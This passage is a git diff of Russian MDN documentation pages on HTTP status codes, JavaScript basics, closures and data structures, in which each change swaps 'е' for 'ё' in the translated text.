Первоначальная цель для создания этого когда была в использовании его для цифровых платежных систем(на данный момент не используется).</td> + <td>"Необходима оплата". Этот код ответа зарезервирован для будущего использования. Первоначальная цель для создания этого когда была в использовании его для цифровых платёжных систем(на данный момент не используется).</td> <td>HTTP/0.9 and 1.1</td> </tr> <tr> @@ -223,14 +223,14 @@ translation_of: Web/HTTP/Status <tr> <td id="405">405</td> <td>Method Not Allowed</td> - <td>"Метод не разрешен". Сервер знает о запрашиваемом методе, но он был деактивирован и не может быть использован. Два обязательных метода, <code>GET</code> и <code>HEAD</code>, никогда не должны быть деактивированы и не должны возвращать этот код ошибки.</td> + <td>"Метод не разрешён". Сервер знает о запрашиваемом методе, но он был деактивирован и не может быть использован. Два обязательных метода, <code>GET</code> и <code>HEAD</code>, никогда не должны быть деактивированы и не должны возвращать этот код ошибки.</td> <td>HTTP/1.1 only</td> </tr> <tr> <td id="406">406</td> <td>Not Acceptable</td> <td> - <p>Этот ответ отсылается, когда веб сервер после выполнения <a href="/en/HTTP/Content_negotiation#Server-driven_negotiation" title="https://developer.mozilla.org/en/HTTP/Content_negotiation#Server-driven_negotiation">server-driven content negotiation</a>, не нашел контента, отвечающего критериям, полученным из user agent.</p> + <p>Этот ответ отсылается, когда веб сервер после выполнения <a href="/en/HTTP/Content_negotiation#Server-driven_negotiation" title="https://developer.mozilla.org/en/HTTP/Content_negotiation#Server-driven_negotiation">server-driven content negotiation</a>, не нашёл контента, отвечающего критериям, полученным из user agent.</p> </td> <td>HTTP/1.1 only</td> </tr> @@ -243,7 +243,7 @@ translation_of: Web/HTTP/Status <tr> <td id="408">408</td> <td>Request Timeout</td> - <td>Ответ с таким кодом может прийти, даже без предшествующего запроса. Он означает, что сервер хотел бы отключить это неиспользуемое соединение. Этот метод используется все чаще с тех пор, как некоторые браузеры, вроде Chrome и IE9, стали использовать <a class="external" href="http://www.belshe.com/2011/02/10/the-era-of-browser-preconnect/" title="http://www.belshe.com/2011/02/10/the-era-of-browser-preconnect/">HTTP механизмы предварительного соединения</a> для ускорения серфинга (смотрите {{ bug(634278) }}, будущей реализации этого механизма в Firefox). Также учитывайте, что некоторые серверы прерывают соединения не отправляя подобных сообщений.</td> + <td>Ответ с таким кодом может прийти, даже без предшествующего запроса. Он означает, что сервер хотел бы отключить это неиспользуемое соединение. Этот метод используется все чаще с тех пор, как некоторые браузеры, вроде Chrome и IE9, стали использовать <a class="external" href="http://www.belshe.com/2011/02/10/the-era-of-browser-preconnect/" title="http://www.belshe.com/2011/02/10/the-era-of-browser-preconnect/">HTTP механизмы предварительного соединения</a> для ускорения сёрфинга (смотрите {{ bug(634278) }}, будущей реализации этого механизма в Firefox). Также учитывайте, что некоторые серверы прерывают соединения не отправляя подобных сообщений.</td> <td>HTTP/1.1 only</td> </tr> <tr> @@ -258,7 +258,7 @@ translation_of: Web/HTTP/Status <td id="410">410</td> <td>Gone</td> <td> - <p>Этот ответ отсылается, когда запрашиваемый контент удален с сервера.</p> + <p>Этот ответ отсылается, когда запрашиваемый контент удалён с сервера.</p> </td> <td>HTTP/1.1 only</td> </tr> @@ -266,7 +266,7 @@ translation_of: Web/HTTP/Status <td id="411">411</td> <td>Length Required</td> <td> - <p>Запрос отклонен, потому что сервер требует указание заголовка <code>Content-Length</code>, но он не указан.</p> + <p>Запрос отклонён, потому что сервер требует указание заголовка <code>Content-Length</code>, но он не указан.</p> </td> <td>HTTP/1.1 only</td> </tr> @@ -293,7 +293,7 @@ translation_of: Web/HTTP/Status <tr> <td id="415">415</td> <td>Unsupported Media Type</td> - <td>Медиа формат запрашиваемых данных не поддерживается сервером, поэтому запрос отклонен</td> + <td>Медиа формат запрашиваемых данных не поддерживается сервером, поэтому запрос отклонён</td> <td>HTTP/1.1 only</td> </tr> <tr> diff --git a/files/ru/web/javascript/a_re-introduction_to_javascript/index.html b/files/ru/web/javascript/a_re-introduction_to_javascript/index.html index 268fc9985d..01888a792b 100644 --- a/files/ru/web/javascript/a_re-introduction_to_javascript/index.html +++ b/files/ru/web/javascript/a_re-introduction_to_javascript/index.html @@ -9,7 +9,7 @@ translation_of: Web/JavaScript/A_re-introduction_to_JavaScript <p>Было бы полезно начать с истории языка. JavaScript был создан в 1995 Бренданом Айком, инженером в компании Netscape. Первый релиз состоялся вместе с выходом браузера Netscape 2 в начале 1996 года. Сначала язык назывался LiveScript, но затем был переименован в связи с маркетинговыми целями, чтобы сыграть на популярности языка Java компании Sun Microsystem — несмотря на это языки практически не имеют ничего общего друг с другом. Так было положено начало путаницы между этими языками.</p> -<p>Чуть позже Microsoft выпустила очень похожий и практически совместимый язык JScript, который шёл вместе с IE3. Через пару месяцев Netscape отправил язык в <a href="http://www.ecma-international.org/">Ecma International</a>, Европейскую организацию занимающуюся стандартами, которая выпустила первую версию стандарта <a href="https://developer.mozilla.org/en/JavaScript/Language_Resources" title="en/ECMAScript">ECMAScript</a> в 1997. Стандарт получил значимое обновление в <a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMAScript edition 3</a> в 1999, и остается самым стабильным до сегодняшнего дня. Четвертая версия была отклонена, из-за проблем с усложнениями в языке. Многие вещи из четвертого издания послужили основой для стандарта ECMAScript 5 (декабрь 2009) и ECMAScript 6 (июнь 2015).</p> +<p>Чуть позже Microsoft выпустила очень похожий и практически совместимый язык JScript, который шёл вместе с IE3. Через пару месяцев Netscape отправил язык в <a href="http://www.ecma-international.org/">Ecma International</a>, Европейскую организацию занимающуюся стандартами, которая выпустила первую версию стандарта <a href="https://developer.mozilla.org/en/JavaScript/Language_Resources" title="en/ECMAScript">ECMAScript</a> в 1997. Стандарт получил значимое обновление в <a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMAScript edition 3</a> в 1999, и остаётся самым стабильным до сегодняшнего дня. Четвёртая версия была отклонена, из-за проблем с усложнениями в языке. Многие вещи из четвёртого издания послужили основой для стандарта ECMAScript 5 (декабрь 2009) и ECMAScript 6 (июнь 2015).</p> <div class="note"> <p><strong>На заметку</strong>: Далее по тексту мы будем называть язык ECMAScript как "JavaScript".</p> @@ -21,7 +21,7 @@ translation_of: Web/JavaScript/A_re-introduction_to_JavaScript <p>JavaScript является объектно-ориентированным языком, имеющий типы и операторы, встроенные объекты и методы. Его синтаксис происходит от языков Java и C, поэтому много конструкций из этих языков применимы и к JavaScript. Одним из ключевых отличий JavaScript является отсутствие классов, вместо этого функциональность классов осуществляется прототипами объектов (смотрите ES6 {{jsxref("Classes")}}) . Другое главное отличие в том, что функции это объекты, в которых содержится исполняемый код и которые могут быть переданы куда-либо, как и любой другой объект.</p> -<p>Начнём с основы любого языка: с типов данных. Программы на JavaScript оперируют значениями, и все эти значения принадлежат к определенному типу. Типы данных в JavaScript:</p> +<p>Начнём с основы любого языка: с типов данных. Программы на JavaScript оперируют значениями, и все эти значения принадлежат к определённому типу. Типы данных в JavaScript:</p> <ul> <li><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Number" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Number">Числа</a></li> @@ -32,7 +32,7 @@ translation_of: Web/JavaScript/A_re-introduction_to_JavaScript <li><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Symbol">Символы</a> (новый тип из шестой редакции)</li> </ul> -<p>Да, еще <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/undefined">Undefined</a> и <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/null">Null</a>, которые немного обособлены. И <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Array" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Array">Массивы</a>, которые являются особым видом объектов. А также <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Date" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Date">Даты</a> и <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/RegExp" title="en/Core_JavaScript_1.5_Reference/Global_Objects/RegExp">Регулярные выражения</a>, тоже являющиеся объектами. И, если быть технически точным, функции это тоже особый вид объекта. Поэтому схема типов выглядит скорее так:</p> +<p>Да, ещё <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/undefined">Undefined</a> и <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/null">Null</a>, которые немного обособлены. И <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Array" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Array">Массивы</a>, которые являются особым видом объектов. А также <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Date" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Date">Даты</a> и <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/RegExp" title="en/Core_JavaScript_1.5_Reference/Global_Objects/RegExp">Регулярные выражения</a>, тоже являющиеся объектами. И, если быть технически точным, функции это тоже особый вид объекта. Поэтому схема типов выглядит скорее так:</p> <ul> <li><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Number">Числа</a></li> @@ -589,7 +589,7 @@ avg(2, 3, 4, 5); // 3.5</pre> <div class="blockIndicator note"> <p>В вышенаписанном коде переменная <strong>args</strong> содержит все значения, которые были переданы в функцию.<br> <br> - Важно отметить, что где бы ни был размещен <em>rest parameter operator</em> в объявлении функции, он будет содержать все аргументы <em>после</em> его объявления, не раньше. например: <em>function</em> <em>avg(</em><strong>firstValue, </strong><em>...args)</em><strong> </strong>будет хранить первое переданное значение в переменной <strong>firstValue </strong>и оставшиеся в <strong>args</strong>. Это еще одно полезное свойство языка, однако оно ведет нас к новой проблеме. <code>avg()</code> функция принимает список аргументов, разделенный запятыми. Но что если вы хотите найти среднее значение в массиве? Вы можете переписать функцию следующим образом:</p> + Важно отметить, что где бы ни был размещён <em>rest parameter operator</em> в объявлении функции, он будет содержать все аргументы <em>после</em> его объявления, не раньше. например: <em>function</em> <em>avg(</em><strong>firstValue, </strong><em>...args)</em><strong> </strong>будет хранить первое переданное значение в переменной <strong>firstValue </strong>и оставшиеся в <strong>args</strong>. Это ещё одно полезное свойство языка, однако оно ведёт нас к новой проблеме. <code>avg()</code> функция принимает список аргументов, разделённый запятыми. Но что если вы хотите найти среднее значение в массиве? Вы можете переписать функцию следующим образом:</p> </div> <pre class="brush: js notranslate">function avgArray(arr) { diff --git a/files/ru/web/javascript/about_javascript/index.html b/files/ru/web/javascript/about_javascript/index.html index 12ec0deb4f..830f267719 100644 --- a/files/ru/web/javascript/about_javascript/index.html +++ b/files/ru/web/javascript/about_javascript/index.html @@ -18,9 +18,9 @@ original_slug: Web/JavaScript/О_JavaScript <p>JavaScript запускается на стороне клиента Интернета, который может использоваться для создания/программирования того, как веб-страницы будут вести себя при наступлении каких-либо событий. JavaScript легко изучить, а также это мощный скриптовый язык, широко используемый для контролирования поведения веб-страниц.</p> -<p>Вопреки распространенному мнению, <strong>JavaScript <em>не</em> является "интерпретируемым Java"</strong>. В двух словах, JavaScript — это динамический скриптовый язык, поддерживающий <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Class-Based_vs._Prototype-Based_Languages">прототипное</a> создание объектов. Базовый синтаксис намеренно похож на Java и C++, чтобы уменьшить число новых концепций, необходимых для изучения языка. Такие языковые конструкции, как <code>if</code>, <code>for</code>, <code>while</code>, <code>switch</code>, <code>try ... catch</code> похожи на конструкции этих языков.</p> +<p>Вопреки распространённому мнению, <strong>JavaScript <em>не</em> является "интерпретируемым Java"</strong>. В двух словах, JavaScript — это динамический скриптовый язык, поддерживающий <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Class-Based_vs._Prototype-Based_Languages">прототипное</a> создание объектов. Базовый синтаксис намеренно похож на Java и C++, чтобы уменьшить число новых концепций, необходимых для изучения языка. Такие языковые конструкции, как <code>if</code>, <code>for</code>, <code>while</code>, <code>switch</code>, <code>try ... catch</code> похожи на конструкции этих языков.</p> -<p>JavaScript может функционировать и как <a href="https://ru.wikipedia.org/wiki/Процедурное_программирование">процедурный</a>, и как <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript">объектно-ориентированный</a> язык. Объекты можно создавать программно во время выполнения, путем присоединения методов и свойств или пустых объектов <strong>во время выполнения</strong>, в отличие от синтаксических определений классов в компилируемых языках, таких как С++ или Java. После того, как объект был создан, он может быть использован в качестве плана (или прототипа) для создания похожих объектов.</p> +<p>JavaScript может функционировать и как <a href="https://ru.wikipedia.org/wiki/Процедурное_программирование">процедурный</a>, и как <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript">объектно-ориентированный</a> язык. Объекты можно создавать программно во время выполнения, путём присоединения методов и свойств или пустых объектов <strong>во время выполнения</strong>, в отличие от синтаксических определений классов в компилируемых языках, таких как С++ или Java. После того, как объект был создан, он может быть использован в качестве плана (или прототипа) для создания похожих объектов.</p> <p>Динамические возможности JavaScript включают: создание объектов во время выполнения, переменное число параметров, динамическое создание скриптов (с помощью <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/eval">eval</a></code>), перебор объектов (с помощью <code>for ... in</code>), восстановление исходного кода (программы на JavaScript могут декомпилировать тела функций обратно в исходный код).</p> @@ -32,7 +32,7 @@ original_slug: Web/JavaScript/О_JavaScript <p>Несколько оптимизаций, таких как TraceMonkey (Firefox 3.5), JägerMonkey (Firefox 4) и IonMonkey, добавили в SpiderMonkey со временем. Работа всегда продолжается, чтобы улучшить производительность выполнения JavaScript.</p> -<p>Кроме вышеприведенных существуют и другие популярные реализации:</p> +<p>Кроме вышеприведённых существуют и другие популярные реализации:</p> <ul> <li><a href="https://code.google.com/p/v8/">V8</a> от Google, используемый в браузерах Google Chrome и последних версиях Opera. Также используется в <a href="http://nodejs.org/">Node.js</a>.</li> @@ -41,7 +41,7 @@ original_slug: Web/JavaScript/О_JavaScript <li><a href="http://en.wikipedia.org/wiki/Chakra_%28JScript_engine%29">Chakra</a> используется в Internet Explorer (язык, который реализует данный движок, называется JScript, чтобы избежать проблем с авторскими правами).</li> </ul> -<p>Каждый движок mozilla.org предоставляет публичный API, который могут использовать разработчики приложений для интеграции JavaScript в своё ПО. Однако, наиболее распространенной средой для JavaScript являются веб-браузеры. Веб-браузеры обычно используют публичный API для создания <strong>объектов среды</strong>, отражающих <a href="http://www.w3.org/DOM/">DOM</a> в JavaScript.</p> +<p>Каждый движок mozilla.org предоставляет публичный API, который могут использовать разработчики приложений для интеграции JavaScript в своё ПО. Однако, наиболее распространённой средой для JavaScript являются веб-браузеры. Веб-браузеры обычно используют публичный API для создания <strong>объектов среды</strong>, отражающих <a href="http://www.w3.org/DOM/">DOM</a> в JavaScript.</p> <p>JavaScript также применяется как скриптовый язык на стороне сервера. JavaScript сервер предоставляет объекты среды, представляющие объекты HTTP запросов и ответов, которые могут быть использованы программой на JavaScript для динамической генерации веб-страниц. Популярным примером является <a href="http://nodejs.org/">Node.js</a>.</p> diff --git a/files/ru/web/javascript/closures/index.html b/files/ru/web/javascript/closures/index.html index 0aaebde058..dde1d17511 100644 --- a/files/ru/web/javascript/closures/index.html +++ b/files/ru/web/javascript/closures/index.html @@ -8,7 +8,7 @@ translation_of: Web/JavaScript/Closures --- <p>{{jsSidebar("Intermediate")}}</p> -<p class="summary">Замыкание — это комбинация функции и лексического окружения, в котором эта функция была определена. Другими словами, замыкание дает вам доступ к <a href="/ru/docs/Glossary/Scope">Scope</a> внешней функции из внутренней функции. В JavaScript замыкания создаются каждый раз при создании функции, во время ее создания.</p> +<p class="summary">Замыкание — это комбинация функции и лексического окружения, в котором эта функция была определена. Другими словами, замыкание даёт вам доступ к <a href="/ru/docs/Glossary/Scope">Scope</a> внешней функции из внутренней функции. В JavaScript замыкания создаются каждый раз при создании функции, во время её создания.</p> <h2 id="Лексическая_область_видимости" style="margin-bottom: 20px; line-height: 30px; font-size: 2.14285714285714rem;">Лексическая область видимости</h2> @@ -51,7 +51,7 @@ myFunc(); <p>На первый взгляд, кажется неочевидным, что этот код правильный, но он работает. В некоторых языках программирования локальные переменные-функции существуют только во время выполнения этой функции. После завершения выполнения <code>makeFunc()</code> можно ожидать, что переменная <em>name</em> больше не будет доступна. Однако, поскольку код продолжает нормально работать, очевидно, что это не так в случае JavaScript.</p> -<p>Причина в том, что функции в JavaScript формируют так называемые <em>замыкания</em>. <em>Замыкание </em>— это комбинация функции и лексического окружения, в котором эта функция была объявлена. Это окружение состоит из произвольного количества локальных переменных, которые были в области действия функции во время создания замыкания. В рассмотренном примере <code>myFunc</code> — это ссылка на экземпляр функции <code>displayName</code>, созданной в результате выполнения <code>makeFunc</code>. Экземпляр функции <code>displayName</code> в свою очередь сохраняет ссылку на своё лексическое окружение, в котором есть переменная <code>name</code>. По этой причине, когда происходит вызов функции <code>myFunc</code>, переменная <code>name</code> остаётся доступной для использования и сохраненный в ней текст "Mozilla" передаётся в <code>alert</code>.</p> +<p>Причина в том, что функции в JavaScript формируют так называемые <em>замыкания</em>. <em>Замыкание </em>— это комбинация функции и лексического окружения, в котором эта функция была объявлена. Это окружение состоит из произвольного количества локальных переменных, которые были в области действия функции во время создания замыкания. В рассмотренном примере <code>myFunc</code> — это ссылка на экземпляр функции <code>displayName</code>, созданной в результате выполнения <code>makeFunc</code>. Экземпляр функции <code>displayName</code> в свою очередь сохраняет ссылку на своё лексическое окружение, в котором есть переменная <code>name</code>. По этой причине, когда происходит вызов функции <code>myFunc</code>, переменная <code>name</code> остаётся доступной для использования и сохранённый в ней текст "Mozilla" передаётся в <code>alert</code>.</p> <p>А вот немного более интересный пример — функция <code>makeAdder</code>:</p> @@ -70,7 +70,7 @@ console.log(add10(2)); // 12 <p>Здесь мы определили функцию <code>makeAdder(x)</code>, которая получает единственный аргумент <code>x</code> и возвращает новую функцию. Эта функция получает единственный аргумент <code>y</code> и возвращает сумму <code>x</code> и <code>y</code>.</p> -<p>По существу <code>makeAdder</code> — это фабрика функций: она создает функции, которые могут прибавлять определённое значение к своему аргументу. В примере выше мы используем нашу фабричную функцию для создания двух новых функций — одна прибавляет 5 к своему аргументу, вторая прибавляет 10.</p> +<p>По существу <code>makeAdder</code> — это фабрика функций: она создаёт функции, которые могут прибавлять определённое значение к своему аргументу. В примере выше мы используем нашу фабричную функцию для создания двух новых функций — одна прибавляет 5 к своему аргументу, вторая прибавляет 10.</p> <p><code>add5</code> и <code>add10</code> — это примеры замыканий. Эти функции делят одно определение тела функции, но при этом они сохраняют различные окружения. В окружении функции <code>add5</code> <code>x</code> — это 5, в то время как в окружении <code>add10</code> <code>x</code> — это 10.</p> @@ -80,7 +80,7 @@ console.log(add10(2)); // 12 <p>Следовательно, замыкания можно использовать везде, где вы обычно использовали объект с одним единственным методом.</p> -<p>Такие ситуации повсеместно встречаются в web-разработке. Большое количество front-end кода, который мы пишем на JavaScript, основано на обработке событий. Мы описываем какое-то поведение, а потом связываем его с событием, которое создается пользователем (например, клик мышкой или нажатие клавиши). При этом наш код обычно привязывается к событию в виде обратного/ответного вызова (callback): <em>callback функция - функция выполняемая в ответ на возникновение события</em>.</p> +<p>Такие ситуации повсеместно встречаются в web-разработке. Большое количество front-end кода, который мы пишем на JavaScript, основано на обработке событий. Мы описываем какое-то поведение, а потом связываем его с событием, которое создаётся пользователем (например, клик мышкой или нажатие клавиши). При этом наш код обычно привязывается к событию в виде обратного/ответного вызова (callback): <em>callback функция - функция выполняемая в ответ на возникновение события</em>.</p> <p>Давайте рассмотрим практический пример: допустим, мы хотим добавить на страницу несколько кнопок, которые будут менять размер текста. Как вариант, мы можем указать свойство font-size на элементе body в пикселах, а затем устанавливать размер прочих элементов страницы (таких, как заголовки) с использованием относительных единиц em:</p> @@ -131,7 +131,7 @@ document.getElementById('size-16').onclick = size16; <p>Языки вроде Java позволяют нам объявлять частные (private) методы . Это значит, что они могут быть вызваны только методами того же класса, в котором объявлены.</p> -<p>JavaScript не имеет встроенной возможности сделать такое, но это можно эмулировать с помощью замыкания. Частные методы полезны не только тем, что ограничивают доступ к коду, это также мощное средство глобальной организации пространства имен, позволяющее не засорять публичный интерфейс вашего кода внутренними методами классов.</p> +<p>JavaScript не имеет встроенной возможности сделать такое, но это можно эмулировать с помощью замыкания. Частные методы полезны не только тем, что ограничивают доступ к коду, это также мощное средство глобальной организации пространства имён, позволяющее не засорять публичный интерфейс вашего кода внутренними методами классов.</p> <p>Код ниже иллюстрирует, как можно использовать замыкания для определения публичных функций, которые имеют доступ к закрытым от пользователя (private) функциям и переменным. Такая манера программирования называется <a class="external" href="http://www.google.com/search?q=javascript+module+pattern" title="http://www.google.com/search?q=javascript+module+pattern">модульное программирование</a>: </p> @@ -161,13 +161,13 @@ Counter.decrement(); alert(Counter.value()); /* Alerts 1 */ </pre> -<p>Тут много чего поменялось. В предыдущем примере каждое замыкание имело свой собственный контекст исполнения (окружение). Здесь мы создаем единое окружение для трех функций: <code>Counter.increment</code>, <code>Counter.decrement</code>, и <code>Counter.value</code>.</p> +<p>Тут много чего поменялось. В предыдущем примере каждое замыкание имело свой собственный контекст исполнения (окружение). Здесь мы создаём единое окружение для трёх функций: <code>Counter.increment</code>, <code>Counter.decrement</code>, и <code>Counter.value</code>.</p> -<p>Единое окружение создается в теле анонимной функции, которая исполняется в момент описания. Это окружение содержит два приватных элемента: переменную <code>privateCounter</code> и функцию <code>changeBy(val)</code>. Ни один из этих элементов не доступен напрямую, за пределами этой самой анонимной функции. Вместо этого они могут и должны использоваться тремя публичными функциями, которые возвращаются анонимным блоком кода (anonymous wrapper), выполняемым в той же анонимной функции.</p> +<p>Единое окружение создаётся в теле анонимной функции, которая исполняется в момент описания. Это окружение содержит два приватных элемента: переменную <code>privateCounter</code> и функцию <code>changeBy(val)</code>. Ни один из этих элементов не доступен напрямую, за пределами этой самой анонимной функции. Вместо этого они могут и должны использоваться тремя публичными функциями, которые возвращаются анонимным блоком кода (anonymous wrapper), выполняемым в той же анонимной функции.</p> <p>Эти три публичные функции являются замыканиями, использующими общий контекст исполнения (окружение). Благодаря механизму lexical scoping в Javascript, все они имеют доступ к переменной <code>privateCounter</code> и функции <code>changeBy</code>.</p> -<p>Заметьте, мы описываем анонимную функцию, создающую счётчик, и тут же запускаем ее, присваивая результат исполнения переменной <code>Counter</code>. Но мы также можем не запускать эту функцию сразу, а сохранить её в отдельной переменной, чтобы использовать для дальнейшего создания нескольких счётчиков вот так:</p> +<p>Заметьте, мы описываем анонимную функцию, создающую счётчик, и тут же запускаем её, присваивая результат исполнения переменной <code>Counter</code>. Но мы также можем не запускать эту функцию сразу, а сохранить её в отдельной переменной, чтобы использовать для дальнейшего создания нескольких счётчиков вот так:</p> <pre class="brush: js notranslate">var makeCounter = function() { var privateCounter = 0; @@ -198,7 +198,7 @@ alert(Counter1.value()); /* Alerts 1 */ alert(Counter2.value()); /* Alerts 0 */ </pre> -<p>Заметьте, что счетчики работают независимо друг от друга. Это происходит потому, что у каждого из них в момент создания функцией <code><span style="font-family: consolas,monaco,andale mono,monospace;">makeCounter()</span></code> также создавался свой отдельный контекст исполнения (окружение). То есть приватная переменная <code>privateCounter </code>в каждом из счетчиков это действительно отдельная, самостоятельная переменная.</p> +<p>Заметьте, что счётчики работают независимо друг от друга. Это происходит потому, что у каждого из них в момент создания функцией <code><span style="font-family: consolas,monaco,andale mono,monospace;">makeCounter()</span></code> также создавался свой отдельный контекст исполнения (окружение). То есть приватная переменная <code>privateCounter </code>в каждом из счётчиков это действительно отдельная, самостоятельная переменная.</p> <p>Используя замыкания подобным образом, вы получаете ряд преимуществ, обычно ассоциируемых с объектно-ориентированным программированием, таких как изоляция и инкапсуляция.</p> @@ -236,11 +236,11 @@ setupHelp(); <p>{{JSFiddleEmbed("https://jsfiddle.net/v7gjv/13026/", "", 200)}}</p> -<p>Массив <code>helpText</code> описывает три подсказки для трех полей ввода. Цикл пробегает эти описания по очереди и для каждого из полей ввода определяет, что при возникновении события <code>onfocus</code> для этого элемента должна вызываться функция, показывающая соответствующую подсказку.</p> +<p>Массив <code>helpText</code> описывает три подсказки для трёх полей ввода. Цикл пробегает эти описания по очереди и для каждого из полей ввода определяет, что при возникновении события <code>onfocus</code> для этого элемента должна вызываться функция, показывающая соответствующую подсказку.</p> <p>Если вы запустите этот код, то увидите, что он работает не так, как мы ожидаем интуитивно. Какое поле вы бы ни выбрали, в качестве подсказки всегда будет высвечиваться сообщение о возрасте. </p> -<p>Проблема в том, что функции, присвоенные как обработчики события <code>onfocus</code>, являются замыканиями. Они состоят из описания функции и контекста исполнения (окружения), унаследованного от функции <code>setupHelp</code>. Было создано три замыкания, но все они были созданы с одним и тем же контекстом исполнения. К моменту возникновения события <code>onfocus</code> цикл уже давно отработал, а значит, переменная <code>item</code> (одна и та же для всех трех замыканий) указывает на последний элемент массива, который как раз в поле возраста.</p> +<p>Проблема в том, что функции, присвоенные как обработчики события <code>onfocus</code>, являются замыканиями. Они состоят из описания функции и контекста исполнения (окружения), унаследованного от функции <code>setupHelp</code>. Было создано три замыкания, но все они были созданы с одним и тем же контекстом исполнения. К моменту возникновения события <code>onfocus</code> цикл уже давно отработал, а значит, переменная <code>item</code> (одна и та же для всех трёх замыканий) указывает на последний элемент массива, который как раз в поле возраста.</p> <p>В качестве решения в этом случае можно предложить использование функции, фабричной функции (function factory), как уже было описано выше в примерах:</p> @@ -272,7 +272,7 @@ setupHelp(); <p>{{JSFiddleEmbed("https://jsfiddle.net/v7gjv/13024/", "", 200)}}</p> -<p>Вот это работает как следует. Вместо того, чтобы делить на всех одно окружение, функция <code>makeHelpCallback</code> создает каждому из замыканий свое собственное, в котором переменная <code>item</code> указывает на правильный элемент массива <code>helpText</code>.</p> +<p>Вот это работает как следует. Вместо того, чтобы делить на всех одно окружение, функция <code>makeHelpCallback</code> создаёт каждому из замыканий своё собственное, в котором переменная <code>item</code> указывает на правильный элемент массива <code>helpText</code>.</p> <h2 id="Соображения_по_производительности">Соображения по производительности</h2> @@ -295,7 +295,7 @@ setupHelp(); } </pre> -<p>Поскольку вышеприведенный код никак не использует преимущества замыканий, его можно переписать следующим образом:</p> +<p>Поскольку вышеприведённый код никак не использует преимущества замыканий, его можно переписать следующим образом:</p> <pre class="brush: js notranslate">function MyObject(name, message) { this.name = name.toString(); diff --git a/files/ru/web/javascript/data_structures/index.html b/files/ru/web/javascript/data_structures/index.html index e02cffe0f7..7941ee07b1 100644 --- a/files/ru/web/javascript/data_structures/index.html +++ b/files/ru/web/javascript/data_structures/index.html @@ -27,7 +27,7 @@ foo = true; // foo становится типа Boolean <ul> <li>6 типов данных являющихся примитивами: <ul> - <li>{{Glossary("Undefined")}} (Неопределенный тип) : <code>typeof instance === "undefined"</code></li> + <li>{{Glossary("Undefined")}} (Неопределённый тип) : <code>typeof instance === "undefined"</code></li> <li>{{Glossary("Boolean")}} (Булев, Логический тип) : <code>typeof instance === "boolean"</code></li> <li>{{Glossary("Number")}} (Число) : <code>typeof instance === "number"</code></li> <li>{{Glossary("String")}} (Строка) : <code>typeof instance === "string"</code></li> @@ -84,7 +84,7 @@ Infinity <li>Объединить две строки в одну, применив оператор (<code>+</code>) или метод {{jsxref("String.concat()")}}.</li> </ul> -<h4 id="Избегайте_повсеместного_использования_строк_в_своем_коде!">Избегайте повсеместного использования строк в своем коде!</h4> +<h4 id="Избегайте_повсеместного_использования_строк_в_своём_коде!">Избегайте повсеместного использования строк в своём коде!</h4> <p>Иногда может показаться соблазнительным использование строк для представления сложных структур данных. Это даст небольшие краткосрочные выгоды:</p> @@ -104,7 +104,7 @@ Infinity <h3 id="Тип_данных_Большое_целое_BigInt">Тип данных Большое целое (BigInt)</h3> -<p><code>BigInt</code><font><font> является встроенным объектом, который предоставляет способ представления целых чисел, которые больше 2 </font></font><sup><font><font>53</font></font></sup><font><font>, что является наибольшим числом, которое JavaScript может надежно представить с помощью </font></font><code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number" title="JavaScript-объект Number - это объект-оболочка, позволяющий работать с числовыми значениями. Объект Number создается с помощью конструктора Number (). Номер объекта типа примитива создается с помощью функции Number ().">Number</a></code><font><font> примитива.</font></font></p> +<p><code>BigInt</code><font><font> является встроенным объектом, который предоставляет способ представления целых чисел, которые больше 2 </font></font><sup><font><font>53</font></font></sup><font><font>, что является наибольшим числом, которое JavaScript может надёжно представить с помощью </font></font><code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number" title="JavaScript-объект Number - это объект-оболочка, позволяющий работать с числовыми значениями. Объект Number создаётся с помощью конструктора Number (). Номер объекта типа примитива создаётся с помощью функции Number ().">Number</a></code><font><font> примитива.</font></font></p> <pre class="brush: js notranslate"><code>> let bigInt = 19241924124n; > console.log(bigInt); @@ -120,7 +120,7 @@ Infinity <p>В JavaScript объект может расцениваться как набор свойств. <a href="/ru/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Object_literals">Литеральная инициализация объекта</a> задаёт определённое количество начальных свойств, и в процессе работы приложения поля могут добавляться и удаляться. Значения свойств могут иметь любой тип, включая другие объекты, что позволяет строить сложные, разветвлённые иерархии данных. Каждое свойство объекта идентифицируется ключом, в качестве которого может выступать значение с типом Строка или Символ.</p> -<p>Есть два типа свойств: свойство-значение и свойство-акцессор (свойство, обёрнутое в геттер и сеттер). Они отличаются определенными атрибутами.</p> +<p>Есть два типа свойств: свойство-значение и свойство-акцессор (свойство, обёрнутое в геттер и сеттер). Они отличаются определёнными 